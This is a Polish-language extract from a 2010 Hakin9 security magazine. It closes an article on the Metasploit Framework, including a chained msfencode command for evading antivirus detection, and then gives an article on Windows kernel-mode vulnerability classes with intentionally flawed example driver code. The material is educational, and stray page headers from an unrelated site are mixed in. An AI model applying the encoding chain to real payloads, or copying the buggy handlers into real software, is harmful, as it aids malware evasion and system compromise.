mimo takiego kodowania, program antywirusowy nadal będzie w stanie wykryć zagrożenie. W celu uzyskania jeszcze większej niewykrywalności, można jednak zastosować jednoczesne kodowanie za pomocą kilku metod oraz kilku przebiegów stosując w powyższym poleceniu np. taki zestaw parametrów kodowania: ./msfencode -e x86/shikata_ga_nai -t raw -c 5 | ./msfencode -e x86/call4_dword_xor -t raw -c 5 | ./msfencode -e x86/countdown . W efekcie otrzymamy więc plik zakodowany pięciokrotnie modułami x86/shikata_ga_nai i x86/call4_dword_xor oraz jednokrotnie modułem x86/countdown . Taki plik będzie stanowił prawdziwe wyzwanie dla popularnych programów antywirusowych! Pentester korzystający z kodowanych w ten sposób plików, może w prosty sposób za pomocą dostępnej online usługi Virustotal sprawdzić ich odporność na wykrycie przez kilkadziesiąt popularnych programów antywirusowych. Wystarczy tylko załadować zakodowany plik poprzez formularz dostępny pod adresem http://www.virustotal.com/pl/. Po chwili plik zostanie przeskanowany przez kilkadziesiąt popularnych silników antywirusowych, a wyniki zostaną zaprezentowane w postaci czytelnej tabeli. Przykładowo, plik program2.exe otrzymany w wyniku jednokrotnego kodowania metodą shikata_ga_nai został oznaczony jako złośliwe oprogramowanie przez zaledwie 7 z 41 silników antywirusowych dostępnych w ramach VirusTotal.

Trudno jest choćby tylko wymienić wszystkie inne ciekawe moduły zawarte w środowisku Metasploit. Warto jednak na koniec wspomnieć jeszcze, że Framework ten wspiera również działania mające na celu utrzymanie dostępu do przejętego systemu (np. poprzez instalację w docelowym systemie keyloggera, programu typu backdoor, itp.) oraz wykonywanie z jego poziomu dalszych testów penetracyjnych.

Wszystkie inne moduły działają w oparciu o podobny inter fejs oraz podobną filozofię, nic nie stoi więc na przeszkodzie, by każdy zainteresowany mógł już dalej na własną rękę odkrywać fascynujące możliwości środowiska Metaspolit!

PodsumowaniePo zapoznaniu się z przedstawionymi praktycznymi przykładami, z pewnością nikt już nie wątpi, że Metasploit Framewok to coś więcej niż środowisko do przeprowadzania testów penetracyjnych. Jest to prawdziwy kombajn pozwalający na realistyczne odzwierciedlenie wszystkich typów ataków stosowanych przez komputerowych włamywaczy, począwszy od etapu zbierania informacji o docelowym systemie, a skończywszy na zaawansowanych atakach wymagających interakcji z użytkownikiem docelowego systemu.

Metasploit Framework to jednak nie tylko 481 exploity oraz 253 payloady (dane z wersji 3.3.3 r7924) oddane

w nasze ręce przez najlepszych ekspertów od bezpieczeństwa informatycznego poświęcających swój czas na rozwój tego otwartego projektu. Metasploit to również zaawansowane narzędzie do tworzenia oraz testowania własnych modułów, co jednak stanowi temat jeszcze obszerniejszy od poruszonego w niniejszym artykule. Każdy fragment środowiska oraz każdy moduł może zostać przez nas podejrzany, zmieniony, a nawet wykorzystany we własnym celu. Taka otwartość pozwala więc na proste tworzenie własnych funkcji, naukę poprzez podglądanie najciekawszych rozwiązań, a przede wszystkim powoduje, że Metasploit Framework ma dosłownie nieograniczone możliwości. Jeśli jakaś funkcja jest nam potrzeba, możemy ją po prostu utworzyć lub zmodyfikować na własny użytek moduł już istniejący. Tego rodzaju funkcjonalności nigdy nie otrzymamy w przypadku bardzo kosztowych zamkniętych pakietów komercyjnych, takich jak choćby wspomniany już Core Impact.

Zachęcam więc wszystkich zainteresowanych bezpieczeństwem informatycznym do praktycznego zapoznania się z testami penetracyjnymi z wykorzystaniem środowiska Metasploit Framework. Nie ma bowiem skuteczniejszego oraz bardziej ekscytującego sposobu na przetestowanie bezpieczeństwa własnych systemów, niż własnoręczne włamanie się do ich zasobów. Tego rodzaju testy stanowią również okazję na zapoznanie się (w sposób legalny) z warsztatem komputerowych włamywaczy. Wszystko to w konsekwencji pozwoli nam na lepsze zabezpieczenia własnej infrastruktury oraz lepsze zrozumienie czyhających na nią zagrożeń!

W Sieci• http://hcsl.pl/ – Hard Core Security Lab,• http://www.metasploit.com/ – The Metasploit Project,• http://www.offensive-security.com/metasploit-unleashed/ – Metasploit Framework:

kurs online,• http://www.irongeek.com/i.php?page=videos/msfpayload-msfencoder-metasploit-3-3

– Using msfpayload and msfencode from Metasploit 3.3 to bypass anti-virus,• http://www.microsoft.com/technet/security/bulletin/ms08-067.mspx – Microsoft

Security Bulletin MS08-067 – Critical,• http://www.coresecurity.com/content/core-impact-overview – strona domowa

komercyjnego środowiska do testów penetracyjnych CORE IMPACT PRO,• http://www.isecom.org/osstmm/ – Open Source Security Testing Methodology

Manual,• http://www.remote-exploit.org/backtrack.html – BackTrack Linux LiveCD,• http://vimeo.com/6013518 – przykład zastosowania modułu Psnuffle do

podsłuchiwania haseł

Wojciech SmolAutor jest absolwentem wydziału Automatyki, Elektroniki i Informatyki Politechniki Śląskiej w Gliwicach. Ukończył studia na kierunku informatyka, o specjalności Bazy danych, sieci i systemy komputerowe. Pracuje jako administrator sieci i systemów komputerowych w firmie Mostostal Zabrze Holding S.A. Kontakt z autorem: [email protected] lub [email protected]. Strona domowa autora: http://hcsl.pl/.

Page 28: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

28 HAKIN9

ATAK

3/2010

Prezentowany ar t ykuł ma na celu zapoznać czy telnika z mało znaną, niemniej jednak ciekawą odmianą

luk bezpieczeństwa, występujących w najbardziej uprzywilejowanej części środowiska pracy aplikacji – systemie operacyjnym. Okazuje się, że zarówno sposób działania, jak i metody używane do prakt ycznego wykorzyst ywania t ychże podatności znacznie różnią się od często omawianych technik eksploitacji błędów tr ybu uży tkownika (aplikacje uży tku domowego, pakiet y biurowe, przeglądarki internetowe itp) . W publikacji przedstawione zostaną najważniejsze klasy błędów, szczególnie charakter yst yczne dla tr ybu jądra. Przykłady będą w miarę możliwości zilustrowane prawdziwymi błędami w istniejącym oprogramowaniu. Specy f ika opisywanych podatności nie różni się znacząco pomiędzy różnymi systemami operacyjnymi, dlatego pozwoliłem sobie przy taczać przykłady odnoszące się również do innych plat form.

Podział podatnościWśród wszystkich istniejących typów podatności, możemy wyróżnić dwie szczególne grupy – błędy lokalne oraz zdalne. Luki lokalne są szczególnie dobrze znane wśród użytkowników systemów opartych o jądro Linux. Fakt, że zdecydowana

MATEUSZ „J00RU” JURCZYK

Z ARTYKUŁU DOWIESZ SIĘjak dzielimy błędy trybu jądra,

jakie luki są charakterystyczne dla modułów kernela,

gdzie możemy znaleźć podatności ring-0.

CO POWINIENEŚ WIEDZIEĆdobrze znać zasady działania trybu chronionego procesorów rodziny Intel x86,

mieć ogólne pojęcie o architekturze systemu Microsoft Windows.

większość serwerów hostingowych działa pod kontrolą tego kernela, znacznie przyczynił się do popularyzacji ataków polegających na podniesieniu przywilejów użytkownika, prowadzących najczęściej do przejęcia całkowitej kontroli nad systemem, a więc również nad danymi wszystkich użytkowników korzystających z przejętej maszyny. Klasycznym przykładem błędu prowadzącego do możliwości uruchomienia kodu o uprawnieniach jądra może być [1] (patrz ramka „Warto zobaczyć”) – został on znaleziony i opisany we wrześniu 2009 roku, a łatwość i stabilność jego wykorzystania wzbudziły wśród badaczy spore kontrowersje. Pod zakładką exploit znaleźć można około dziesięciu przykładowych kodów źródłowych, podnoszących przywileje użytkownika w systemie.

Błędy lokalnePodatności lokalne cechują się brakiem możliwości lub znaczącymi trudnościami w praktycznym wykorzystaniu luki, bez bezpośredniego dostępu do atakowanego systemu – najczęściej wystarczające jest zwyczajne konto użytkownika. Błędy te są umiarkowanie groźne w kontekście komputerów domowych, ich wykorzystanie może jednak siać spore spustoszenie na publicznych serwerach, z których korzystają setki lub tysiące użytkowników.

Stopień trudności

Luki bezpieczeństwa jądra WindowsW miarę powstawania coraz bezpieczniejszych aplikacji oraz rozwijania wbudowanych w system zabezpieczeń chroniących przed nieuprawnionym wykonaniem kodu, ewoluowały również wektory ataków na potencjalną ofiarę – użytkownika. Artykuł opisuje sposoby ataku na najważniejsze elementy systemu Windows – moduły działające w trybie jądra.

Page 29: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

29 HAKIN9

LUKI BEZPIECZEŃSTWA JĄDRA WINDOWS

3/2010

Błędy zdalne Luki bezpieczeństwa o zdalnym charakterze nie wymagają bezpośredniego dostępu do atakowanego systemu w celu jego penetracji. W tym przypadku, wystarczy zazwyczaj możliwość przesłania odpowiedniego zapalnika , tj. danych powodujących konkretne (pożądane z naszego punktu widzenia) zachowanie zdalnej maszyny. Sposób, w jaki dane te zostaną odebrane i przetworzone przez atakowany komputer zależy tylko i wyłącznie od typu wykonywanego ataku – rolę pośrednika odgrywać może zarówno połączenie sieciowe, połączenie Bluetooth lub jakikolwiek inny protokół komunikacji. Należy zauważyć, że przypadki tworzenia stabilnych exploitów wykorzystujących zdalne podatności niosą za sobą ogromne zagrożenie, ze względu na możliwość rozprzestrzeniania na szeroką skalę, przykładowo w celu utworzenia botnetu .

Wektory atakuKod jądra jest w zamyśle odpowiedzialny za wykonywanie operacji bezpośrednio ingerujących w środowisko systemu (tworzenie procesów oraz wątków, pobieranie zawartości dysku twardego, otwieranie połączeń sieciowych, korzystanie z efektów graficznych itd.). Co więcej, jest on również w pełni odpowiedzialny za zarządzanie dostępnymi zasobami maszyny oraz obsługę zachodzących zdarzeń – odpowiedni podział czasu procesora, przydział pamięci fizycznej czy komunikacja z kartą graficzną. Wykonując każdą z tych operacji, pobiera on od użytkownika – pośrednio lub bezpośrednio – pewną dawkę informacji konfiguracyjnych. Stopień kontroli danych przekazywanych i obsługiwanych przez jądro systemu zależy od wielu czynników, takich jak posiadane w systemie uprawnienia.

Każda instalacja systemu Windows zawiera, oprócz obrazu jądra, pewną ilość niezbędnych do działania, zewnętrznych sterowników, takich jak win32k.sys (standardowy moduł graficzny Windows), czy TCP.sys (sterownik sieciowy). Fakt, że na

świeżo zainstalowanej kopii systemu Microsoft Windows XP SP2 jest domyślnie załadowanych ponad sto sterowników, dobitnie ilustruje ilość potencjalnych celów ataku. Ponadto, znacząca liczba aplikacji użytku domowego, takich jak wszelkiego rodzaju firewalle czy programy antywirusowe rozszerzają swoją funkcjonalność, instalując w systemie dodatkowe sterowniki. Większość z nich wspiera własny, nieudokumentowany protokół wymiany informacji między ring-3 i ring-0 ; musi przecież porozumiewać się z aplikacją odpowiedzialną za komunikację z użytkownikiem. Okazuje się więc, że domniemany napastnik ma do dyspozycji wiele punktów zaczepienia, które w dalszej kolejności mogą ujawnić pewne słabości zabezpieczeń, zapewniając napastnikowi nieautoryzowany dostęp do całego systemu.

Sam proces komunikacji kodu jądra z niżej położonymi procesami odbywa się najczęściej przy użyciu:

• przerwań użytkownika,• wywołań systemowych (system calls ),• interfejsu IRP (I/O Request Packet ),• interfejsu IOCTL (Device Input and

Output Control ).

Zdecydowana większość, jeśli nie wszystkie znalezione dotąd luki w jądrze lub sterownikach Windows wykorzystywane były przy użyciu wymienionych wyżej metod komunikacji.

Automatyzacja poszukiwańOpublikowane zostały również specjalne aplikacje automatyzujące proces wyszukiwania błędów obsługi danych wejściowych, takie jak IOCTLFuzzer czy BsoDhook . Działanie tych i podobnych programów opiera się najczęściej na zalewaniu jądra bądź aktywnych sterowników komunikatami o losowej treści, i oczekiwanie na nieprawidłową reakcję (w formie restartu systemu, bądź niebieskiego ekranu śmierci). W chwili obecnej, tego typu testy charakteryzują się relatywnie niskim wskaźnikiem powodzenia, ponieważ zarówno samo jądro, jak i domyślne sterowniki zostawały

wielokrotnie poddawane testom o podobnym charakterze. Współczesne moduły wymagają często ręcznej analizy kodu, która może doprowadzić do odnalezienia pewnych nieścisłości bądź poważniejszych błędów.

Błędy w kodzie hookówKiedy mamy do czynienia z czystym systemem, na którym nie zainstalowano oprogramowania znacząco ingerującego w sposób zachowania jądra (np. programy antywirusowe), wszystkie elementy SSDT wskazywać powinny na wnętrze obrazu głównego pliku jądra (ntoskrnl.exe) – tam też znaleźć możemy ewentualne luki w mechanizmie obsługi syscalli. Okazuje się jednak, że znaczna część oprogramowania opierającego swoje działanie na modyfikacji pewnych elementów kernela , ma tendencję do modyfikacji SSDT, w celu osiągnięcia własnych celów. Sytuacja taka ma bardzo prostą przyczynę – zmiany wprowadzane w tabeli wywołań systemowych dają pełną kontrolę nad ilością i rodzajem danych przepływających pomiędzy aplikacjami użytkownika a samym jądrem. Instalowanie własnych funkcji obsługi syscalli niesie za sobą jednak spore zagrożenie – kod takich handlerów, pisany przez niezależnych programistów, bardzo często obfituje w różnego rodzaju błędy, których wykorzystanie może w konsekwencji prowadzić do kompromitacji systemu, o czym za chwilę się przekonamy.

Problemy trybu jądraTworzenie bezpiecznego oprogramowania (szczególnie przy użyciu natywnych języków programowania) z pewnością nie jest zadaniem trywialnym. Wynika to z prostego faktu - na każdym etapie pracy z danymi wejściowymi istnieje potrzeba walidacji poprawności tych danych. W innym wypadku możemy spodziewać się, że każda nieprzewidziana przez nas sytuacja zostanie zauważona i wykorzystana do zamknięcia aplikacji bądź przejęcia kontroli nad jej wykonaniem. W chwili obecnej, zarówno metody odnajdywania, jak i

Page 30: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

ATAK

30 HAKIN9 3/2010

LUKI BEZPIECZEŃSTWA JĄDRA WINDOWS

31 HAKIN9 3/2010

samej eksploitacji luk bezpieczeństwa stoją na bardzo wysokim poziomie, a publikowane błędy coraz rzadziej należą do popularnej niegdyś grupy przepełnień bufora stosu. Wynika to z prostego faktu – standardowych błędów w dobrze znanym i powszechnie używanym oprogramowaniu jest coraz mniej. Badacze szukają więc nowych sposobów na sprowokowanie nieprzewidzianego przez autora zachowania aplikacji. W ten sposób napędzane jest koło poszukiwania i łatania kolejnych luk bezpieczeństwa, co z pewnością uznać możemy za pozytywne zjawisko.

Należy jednak zauważyć, iż w przypadku udanej (lokalnej bądź zdalnej) eksploitacji luki występującej np. w programie biurowym, kod wykonywany w jego kontekście dysponuje przywilejami dziurawej aplikacji, niezależnie od tego, czy jest to przeglądarka internetowa, gra komputerowa czy odtwarzacz muzyki. Co więcej, w przypadku niektórych, szczególnie narażonych na atak aplikacji, zostały podjęte specjalne starania, mające na celu ograniczenie możliwych do wykonania operacji – za przykład może tutaj posłużyć przeglądarka Internet Explorer z opcją Trybu Chronionego (Safe Mode), o którym przeczytać można na stronie. Konsekwencją przedstawionych cech, którymi charakteryzują się luki w oprogramowaniu codziennego użytku, jest kierowanie exploitów do jak największej ilości użytkowników, licząc przy tym na fakt, że chociaż pewna

(często znaczna) część ofiar pracuje na koncie posiadającym uprawnienia administratora. Masowy charakter ataków związanych z powszechnie używanym oprogramowaniem wiąże się ze wzrostem poziomu ogólnej świadomości dotyczącej bezpieczeństwa komputerowego oraz wagi regularnych aktualizacji.

Okazuje się jednak, iż problem pisania bezpiecznego kodu nie dotyczy jedynie programistów tworzących zwykłe programy użytkownika. Zarówno natywne języki programowania, jak i pewne schematy tworzenia oprogramowania działającego w ring-3 oraz ring-0 pozostają takie same. Idąc dalej, ilość problemów związanych z jakością i stabilnością kodu również nie różni się znacznie. Różni się jednak rodzaj danych wejściowych, a także związane z nimi zagrożenia. Co więcej, same techniki wykorzystywania znalezionych dziur również odbiegają od od tych spotykanych w user-mode – wynika to z charakterystyki uprzywilejowanego trybu, w obrębie którego wykonywany jest nasz payload .

Odmienne wektory atakuW przypadku aplikacji użytkownika, jedynym punktem wejścia dla potencjalnego napastnika są informacje, przekazywane do aplikacji w dowolnej postaci – może być to liczba lub tekst wpisywany w oknie konfiguracyjnym, plik audio czy też pobrana za sprawą użytkownika zawartość strony internetowej. Tworząc program, powinniśmy więc założyć, że każda, najmniejsza nawet część danych, nad którą kontrolę ma sam użytkownik, może przyjmować całkowicie niepoprawne i niespodziewane wartości, które również trzeba w jakiś sposób obsłużyć. Sytuacja kodu jądra jest bardzo podobna, drastycznie zmienia się jednak format danych wejściowych, na których operuje. W tym przypadku, dane wejściowe pobierane mogą być na kilka sposobów. Pierwszym z nich jest bezpośrednia wymiana informacji z mniej uprzywilejowaną aplikacją użytkownika, komunikującej się z jądrem za pomocą jednego z

wymienionych wcześniej interfejsów. Dane przesyłane pomiędzy trybami procesora zasadniczo nie ulegają żadnej odgórnej weryfikacji, a więc w przypadku decyzji o korzystaniu z danych dostarczonych przez kod użytkownika, musimy pamiętać, że nie mamy żadnych podstaw, by zakładać, że dane te mają poprawny rozmiar lub format. Kolejnym, ważnym źródłem danych wejściowych to pakiety otrzymywane od konkretnych podzespołów komputera – stacji CD/DVD, karty sieciowej czy też kontrolera USB. Również i w tym przypadku, nie możemy zakładać poprawności tych danych – użytkownik (który może być równocześnie napastnikiem) w dalszym ciągu ma nad nimi pewną kontrolę, czego nie możemy zignorować.

Co więcej, należy również pamiętać, iż jedną z konsekwencji wysokich uprawnień pierścienia zerowego jest łatwość naruszenia stabilności systemu. W przypadku izolowanych aplikacji użytkownika, wyjątek wygenerowany w kontekście danego procesu nie ma prawa wpłynąć na tok działania czy też stabilność całego systemu operacyjnego (nie dotyczy to krytycznych procesów) – byłaby to kompromitacja całej architektury bezpieczeństwa. Wyjątki w ich kontekście są więc zwyczajnie obsługiwane przez odpowiednie funkcje – jeśli przywrócenie poprawności działania programu jest niemożliwe, zostaje on awaryjnie zamknięty. Co się jednak stanie, kiedy to nie użytkownik, a sam kernel wygeneruje wyjątek, po którym kontynuacja poprawnego działania systemu nie jest już możliwa? Użytkownik ujrzy najpewniej dobrze znany niebieski ekran śmierci (Blue Screen of Death), a następnie będzie zmuszony do zrestartowania maszyny. Dokładnie tak – powodem pojawiania się wszelkich nieoczekiwanych BSoDów są najczęściej błędy w implementacji sterowników jądra.

Popularne klasy błędów trybu jądraZe względu na możliwości, wynikające z poziomu uprawnień, którymi operuje kod kernel-mode, możliwe jest wyodrębnienie

Listing 1. Definicje funkcji służących do sprawdzania poprawności adresów wejściowych

VOID ProbeForRead(

IN CONST VOID *Address, IN SIZE_T Length,

IN ULONG Alignment

);

VOID ProbeForWrite(

IN CONST VOID *Address, IN SIZE_T Length,

IN ULONG Alignment

);

Page 31: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

ATAK

30 HAKIN9 3/2010

LUKI BEZPIECZEŃSTWA JĄDRA WINDOWS

31 HAKIN9 3/2010

kilku nowych, niespotykanych w aplikacjach użytkownika klas błędów. Poniżej przedstawione zostały najczęściej spotykane podatności, które spotkać możemy również w trakcie normalnej pracy z komputerem.

Walidacja wskaźników (write-what-where condition)Kod ring-0, odpowiedzialny za operowanie danymi bezpośrednio dotyczącymi sposobu pracy systemu, posiada w zasadzie nieograniczone możliwości ingerowania w zasoby czy kod wszystkich istniejących procesów (każdego z zalogowanych użytkowników). Może on także dowolnie oddziaływać na inne, niezależne moduły ring-0, czy też na samo jądro. Z tak dużymi możliwościami wiążą się jednak dodatkowe zagrożenia – brak poprawnej walidacji choćby jednej z wartości przekazanej przez użytkownika może mieć katastrofalne skutki w kontekście

bezpieczeństwa całego systemu czy nawet sieci komputerowej.

Całe niebezpieczeństwo kryje się w sposobie wymiany pakietów danych pomiędzy kodem jądra a trybem użytkownika. Wymiana ta następuje w dwóch przypadkach – użycia wywołania systemowego przy pomocy instrukcji sysenter lub int2e oraz komunikacji z niezależnym modułem jądra przy pomocy interfejsu IRP lub IOCTL (Device Input and Output Control ).

Przypadek pierwszy dotyczy głównie luk związanych z samym rdzeniem systemu – funkcjami odpowiedzialnymi za obsługę wywołań (usług) systemowych (system call ). Programiści bezpośrednio zaangażowani w rozwój jądra systemu są najczęściej świadomi możliwych ataków ze strony użytkownika, w wyniku czego kod funkcji obsługi wywołań systemowych można uznać za relatywnie bezpieczny. Sytuacja przedstawia się gorzej w

przypadku sterowników tworzonych przez niezależnych programistów.

Głównym błędem popełnianym przez autorów różnego rodzaju sterowników jest brak lub zły sposób sprawdzania poprawności wskaźników przekazywanych przez użytkownika w formie bufora wejściowego, wyjściowego lub części większej struktury. Najczęściej ma to miejsce w trakcie przetwarzania pakietu IOCTL, pochodzącego od aplikacji klienckiej. Za przykład błędnej obsługi danych wejściowych posłużyć może luka znaleziona przez Rubena Santamartę w produkcie firmy Symantec – Norton Internet Security 2005. Błąd w obsłudze pakietu o numerze 0x222AD3 polegał na całkowitym braku kontroli poprawności wskaźnika standardowego bufora wyjściowego. Niebezpieczny sterownik, bez uprzedniej walidacji adresu docelowego, rozpoczynał zapis danych wyjściowych. Dzięki tej podatności, możliwe stało się pisanie pod dowolny adres pamięci jądra, do którego wadliwy sterownik miał przecież dostęp. Najłatwiejszą metodą

Rysunek 1. Podział przestrzeni adresowej w systemie Windows (32-bit)

Listing 2. Kod przedstawiający zapis danych pod adres, który nie został poddany testom poprawności

NTSTATUS

FirstIOCTLhandler(

PVOID InBuffer,

PVOID OutBuffer,

ULONG InBufferSize,

ULONG OutBufferSize

)

{

/* Blok obsługi wyjątków */

__try

{

/* Wymagamy, by rozmiar bufora wejściowego i wyjściowego był równy, oraz nie

większy niż 4kB

*/

if(InBufferSize > 0x1000 || InBufferSize!=OutBufferSize) ExRaiseStatus(STATUS_INVALID_PARAMETER);

/* Sprawdzanie poprawności wskaźnika danych wejściowych

*/

ProbeForRead(InBuffer,InBufferSize,sizeof(BYTE));

/*

* BŁĄD - Brak walidacji wartości OutBuffer!

*/

RtlCopyMemory(OutBuffer,InBuffer,InBufferSize);

}

except(EXCEPTION_EXECUTE_HANDLER)

{

return GetExceptionCode(); }

return STATUS_SUCCESS;}

Page 32: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

ATAK

32 HAKIN9 3/2010

LUKI BEZPIECZEŃSTWA JĄDRA WINDOWS

33 HAKIN9 3/2010

wykorzystania tego rodzaju błędu jest podanie adresu wskazującego na nieistniejący obszar pamięci – w przypadku braku obsługi wyjątków wadliwej funkcji, próba zapisu pod taki adres spowoduje załamanie się całego systemu operacyjnego, a więc wymuszenie na użytkowniku twardego restar tu maszyny. Mamy więc do czynienia z prostym atakiem typu odmowy usługi (Denial of Service ). Oczywistym wydaje się jednak fakt, że możliwość zapisu pod dowolny adres wysokich obszarów pamięci wykorzystać można w celu odniesienia większych korzyści. Posługując się odpowiednimi, poprawnymi adresami obrazu jądra, możliwe jest doprowadzenie do lokalnego podniesienia uprawnień (Local Privilege Escalation ). Oznacza to możliwość uruchomienia nieautoryzowanego, kontrolowanego przez napastnika kodu w trybie ring-0 ! Doprowadzenie do takiej sytuacji pozwala atakującemu

na całkowite przejęcie kontroli nad rozważanym systemem.

Nasuwa się więc pytanie – w jaki sposób powinno się sprawdzać poprawność przekazywanych przez użytkownika wskaźników tak, by mieć pewność o ich nieszkodliwości. Pomocne mogą okazać się specjalne funkcje eksportowane przez jądro – ProbeForRead i ProbeForWrite, których definicje umieszczone zostały w Listingu 1. Jak sama nazwa wskazuje, służą one kolejno do sprawdzania, czy pamięć, na którą wskazuje walidowany adres umożliwia kolejno odczyt lub zapis danych, oraz czy adres ten znajduje się w obrębie pamięci użytkownika. Co więcej, walidacji poddawane jest również wyrównanie adresu (trzeci parametr funkcji), które nierzadko pełni istotną rolę. Uważny Czytelnik prawdopodobnie zauważył również, że opisywane funkcje nie zwracają żadnej wartości – sposób przekazywania informacji o błędzie jest szczegółowo opisany w dokumentacji

MSDN. W przypadku wychwycenia jakiejkolwiek niezgodności adresu z przyjętymi normami bezpieczeństwa, wygenerowany zostaje wyjątek STATUS _ ACCESS _ VIOLATION , który musi zostać obsłużony przez kod walidującego sterownika. Z tego powodu, każde wywołanie jednej z opisywanych funkcji musi zostać ograniczone przez charakterystyczną konstrukcję obsługi wyjątków – tj. _ _ try{} except(){}. Co więcej, musimy pamiętać, że kod sterownika działać będzie w wielowątkowym środowisku, a więc możliwa jest sytuacja, w której zaraz po poprawnym sprawdzeniu poprawności adresu, lecz jeszcze przed jego użyciem, inny wątek postanawia zwolnić tę pamięć lub zmienić jej uprawnienia. W takiej sytuacji, pomimo poprawnego wywołania funkcji ProbeForWrite, próba zapisu zostałaby zakończona wyjątkiem. Z tego względu, konstrukcja obsługi wyjątków powinna obejmować wszystkie występujące w kodzie odwołania do pamięci użytkownika – tylko wtedy możemy mieć pewność, że jedna z prób uzyskania do niej dostępu nie zakończy się nieobsłużonym wyjątkiem, a w rezultacie zatrzymaniem pracy całego systemu.

NULL Pointer DereferenceJest to klasa błędów, polegająca na próbie odczytu lub zapisu danych do pamięci o adresie równym zero, która działa w oparciu o sposób podziału przestrzeni adresowej. System Windows w wersji 32-bitowej, mając do dyspozycji 4 gigabajty adresowanej pamięci, dzieli całkowity zakres adresowania na dwie, równe części (wyjątek stanowić może tutaj przełącznik /3G ) – dolne obszary pamięci (0x00000000 do 0x7FFFFFFF ) zarezerwowane są dla lokalnych danych aplikacji użytkownika, natomiast wysokie obszary (0x80000000 do 0xFFFFFFFF ) przeznaczane są dla pamięci jądra. Jak zostało wcześniej wyjaśnione, wszystkie próby odwoływania się do danych znajdujących się poza zakresem adresowania jądra powinny być poprzedzone odpowiednią kontrolą poprawności. Zdarzają się

Listing 3. Kod przedstawiający błędne użycie globalnego wskaźnika funkcji

/* Wskaźnik na właściwą funkcję obsługi pakietu, zainicjowany zerem,

* a więc adresem 0x00000000, należącym do pamięci aplikacji.

*/

VOID (*FunctionPointer)(VOID) = NULL;

NTSTATUS

FirstIOCTLhandler(

PVOID InBuffer,

PVOID OutBuffer,

ULONG InBufferSize,

ULONG OutBufferSize

)

{

/* Obsługa pierwszego komunikatu IOCTL, której zadaniem jest przypisanie

wskaźnikowi właściwej wartości.

*/

FunctionPointer = &RealHandler;

return STATUS_SUCCESS;}

NTSTATUS

SecondIOCTLhandler(

PVOID InBuffer,

PVOID OutBuffer,

ULONG InBufferSize,

ULONG OutBufferSize

)

{

/* BŁĄD - Użycie wskaźnika funkcji, bez uprzedniego sprawdzenia, czy wskazuje on

na poprawny adres pamięci jądra.

*/

return FunctionPointer(InBuffer,OutBuffer,InBufferSize,OutBufferSize);}

Page 33: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

ATAK

32 HAKIN9 3/2010

LUKI BEZPIECZEŃSTWA JĄDRA WINDOWS

33 HAKIN9 3/2010

jednak sytuacje, w których możliwe jest sprowokowanie kontrolowanego odwołania się do niskich obszarów pamięci przez kod jądra – szczególnym powodem jest tutaj powszechny nawyk inicjalizacji pustych, nieistotnych zmiennych wartością zerową. Problem pojawia się w momencie, kiedy kod ring-0 zaczyna operować na wskaźniku, któremu nie przypisano wcześniej poprawnego adresu z zakresu odpowiadającego pamięci jądra.

Cała sytuacja mogłaby prowadzić co najwyżej do ewentualnego zatrzymania pracy systemu poprzez wygenerowanie wyjątku odwołania do nieistniejącego obszaru pamięci (Access Violation ). Okazuje się jednak, iż przy użyciu specjalnych, wewnętrznych funkcji systemu (eksportowanych przez moduł ntdll.dll ), możliwe jest wykonanie poprawnej alokacji pamięci pod zerowym adresem! Chodzi tutaj konkretnie o funkcję o nazwie NtAllocateVir tualMemory, za pomocą której implementowano większość exploitów wykorzystujących błąd odwołania do pustego wskaźnika. Dobrym przykładem, obrazującym alokację pamięci pod adresem NULL i kopiowanie danych pod ten adres jest kod wykorzystujący lukę w sterowniku

graficznym win32k.sys , opublikowany dnia 30 lipca 2009 roku przez Alexa (ntinternals.org ).

W przypadku tej klasy podatności, bardzo dużą rolę odgrywa kontekst, w jakim następuje odwołanie do kontrolowanej przez użytkownika pamięci. Możliwości eksploitacji zależą w szczególności od sposobu, w jaki wykorzystywane są informacje

znajdujące się pod zerowym adresem – nie zawsze (choć bardzo często) luka prowadzić musi do uruchomienia kodu w kontekście trybu jądra. Możliwe jest również wykorzystanie błędu w celu pozyskania danych, które w normalnych warunkach przechowywane byłyby w obrębie wysokich obszarów pamięci (niedostępnych z poziomu nieuprzywilejowanej aplikacji).

Listing 4. Kod przedstawiający ujawnienie 4 bajtów pamięci jądra (stosu), będące konsekwencją braku inicjalizacji jednego z pól lokalnej struktury

NTSTATUS

FirstIOCTLhandler(

PVOID InBuffer,

PVOID OutBuffer,

ULONG InBufferSize,

ULONG OutBufferSize

)

{

/* Deklaracja lokalnej struktury, zawierającej trzy zmienne.

* Pole "Reserved1" jest zarezerwowane, i nie powinno być używane.

*/

struct OutputData {

LONG Value; ULONG Reserved1;

PVOID Pointer;

} Local;

/* Blok obsługi wyjątków */

__try

{

/* Wymagamy, by rozmiar bufora wyjściowego był równy rozmiarowi zwracanej

struktury

*/

if(OutBufferSize!=sizeof(OutputData)) ExRaiseStatus(STATUS_INVALID_PARAMETER);

/* Sprawdzanie poprawności wskaźnika danych wyjściowych

*/

ProbeForWrite(OutBuffer,OutBufferSize,sizeof(BYTE));

/*

* BŁĄD - Inicjalizacja lokalnej struktury, z pominięciem jednego z pól

(Reserved1).

*/

Local.Value = 0xDEADBEEF;

Local.Pointer = InBuffer;

/*

* Przekazywanie zawartości struktury aplikacji użytkownika.

*/

RtlCopyMemory(OutBuffer,&Local,sizeof(OutputData)); }

except(EXCEPTION_EXECUTE_HANDLER)

{

return GetExceptionCode(); }

return STATUS_SUCCESS;}

Rysunek 2. Schemat działania prostego błędu typu race-condition

